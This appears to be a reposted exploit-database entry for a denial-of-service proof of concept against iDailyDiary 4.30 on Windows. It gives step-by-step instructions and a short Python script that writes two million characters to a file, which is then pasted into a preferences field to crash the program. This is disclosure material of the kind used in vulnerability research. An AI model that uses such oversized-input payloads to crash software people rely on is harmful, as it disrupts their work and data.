Idailydiary 4.30 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-05-24 | Type : dos | Platform : windows
This exploit / vulnerability Idailydiary 4.30 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: iDailyDiary 4.30 - Denial of Service (PoC)
# Date: 2021-05-21
# Exploit Author: Ismael Nava
# Vendor Homepage: https://www.splinterware.com/index.html
# Software Link: https://www.splinterware.com/download/iddfree.exe
# Version: 4.30
# Tested on: Windows 10 Home x64

#STEPS
# Open the program iDailyDiary
# Create a New Diary, put any name and check the option "Do not prompt for password", click in OK
# In the tab "View", click in "Preferences"
# Click in the option "Tabs"
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Sotsu.txt"
# Paste the content in the field below "Default diary tab name when creating new tabs"
# Click in Apply
# End :)


buffer = 'F' * 2000000

try:
file = open("Sotsu.txt","w")
file.write(buffer)
file.close()

print("Archive ready")
except:
print("Archive no ready")